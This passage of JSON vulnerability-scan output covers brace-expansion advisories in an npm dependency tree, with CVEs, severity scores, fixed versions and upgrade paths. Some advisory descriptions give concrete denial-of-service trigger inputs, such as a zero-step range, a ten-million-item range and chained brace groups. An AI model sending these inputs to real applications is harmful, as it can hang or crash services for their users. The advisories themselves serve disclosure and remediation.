non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", 